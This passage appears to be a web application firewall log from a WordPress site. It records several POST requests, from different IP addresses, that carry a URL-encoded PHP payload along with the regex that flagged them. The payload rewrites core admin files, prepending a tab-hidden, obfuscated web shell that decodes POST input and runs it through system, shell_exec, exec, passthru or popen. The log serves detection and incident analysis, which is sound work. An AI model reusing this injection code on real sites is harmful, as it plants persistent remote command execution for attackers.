Chrome\";v=\"116\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:5278\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:36:58","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5255\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ncK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:02","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5226\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nBf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized2%2529%2529%2520%257B%2520print%2520%2524initialized2%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized3%2529%2529%2520%257B%2520%2524initialized3%2528%2524token%252C%2520%2524resource_comp%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524resource_comp%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized4%2529%2529%2520%257B%2520%2524initialized4%2528%2524token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524initialized5%2529%2520%2526%2526%2520function_exists%2528%2524initialized6%2529%2520%2526%2526%2520function_exists%2528%2524initialized7%2529%2529%2520%257B%2520%2524pset_fac%2520%253D%2520%2524initialized5%2528%2524token%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_fac%2529%2520%257B%2520%2524hld_ent%2520%253D%2520%2524initialized6%2528%2524pset_fac%2529%253B%2520%2524initialized7%2528%2524pset_fac%2529%253B%2520print%2520%2524hld_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:05","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-bulk-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524initialized2%2520%253D%2520%2522%255Cx73%255Cx68ell%255Cx5Fexe%255Cx63%2522%253B%2520%2524initialized7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524initialized3%2520%253D%2520%2522e%255Cx78e%255Cx63%2522%253B%2520%2524initialized1%2520%253D%2520%2522%255Cx73y%255Cx73%255Cx74em%2522%253B%2520%2524initialized6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65%255Cx74_%255Cx63%255Cx6F%255Cx6Etents%2522%253B%2520%2524initialized4%2520%253D%2520%2522%255Cx70as%255Cx73th%255Cx72u%2522%253B%2520%2524initialized5%2520%253D%2520%2522%255Cx70o%255Cx70en%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%2520%257B%2520function%2520event_handler%2520%2528%2520%2524comp%2520%252C%2520%2524pset%2520%2529%257B%2520%2524fac%253D%2527%2527%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524comp%2529%253B%2520%2524e%252B%252B%2529%257B%2524fac.%253Dchr%2528ord%2528%2524comp%255B%2524e%255D%2529%255E%2524pset%2529%253B%257D%2520return%2520%2524fac%253B%2520%257D%2520%2524token%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524token%2520%253D%2520event_handler%2528%2524token%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524initialized1%2529%2529%2520%257B%2520%2524initialized1%2